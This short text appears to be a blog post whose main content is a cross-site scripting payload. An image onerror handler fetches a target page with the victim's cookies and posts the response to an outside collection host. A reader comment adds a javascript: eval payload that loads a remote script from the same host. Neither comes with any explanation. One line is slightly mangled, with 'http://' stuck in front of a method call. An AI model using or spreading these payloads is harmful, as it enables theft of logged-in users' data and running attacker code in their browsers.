\ "><img src="x"onerror="fetch('https://target/x',{method:'get',credentials:'include',headers:{'Content-Type':'application/json'}}).then(response => response.text()).then(data =>{var xhr=new XMLHttpRequest();http://xhr.open('POST','https://saqib.xss.ht');xhr.send(data);});">


Comments

  1. javascript:eval('var a=document.createElement(\'script\');a.src=\'https://saqib.xss.ht\';document.body.appendChild(a)')

    ReplyDelete

Post a Comment

Popular posts from this blog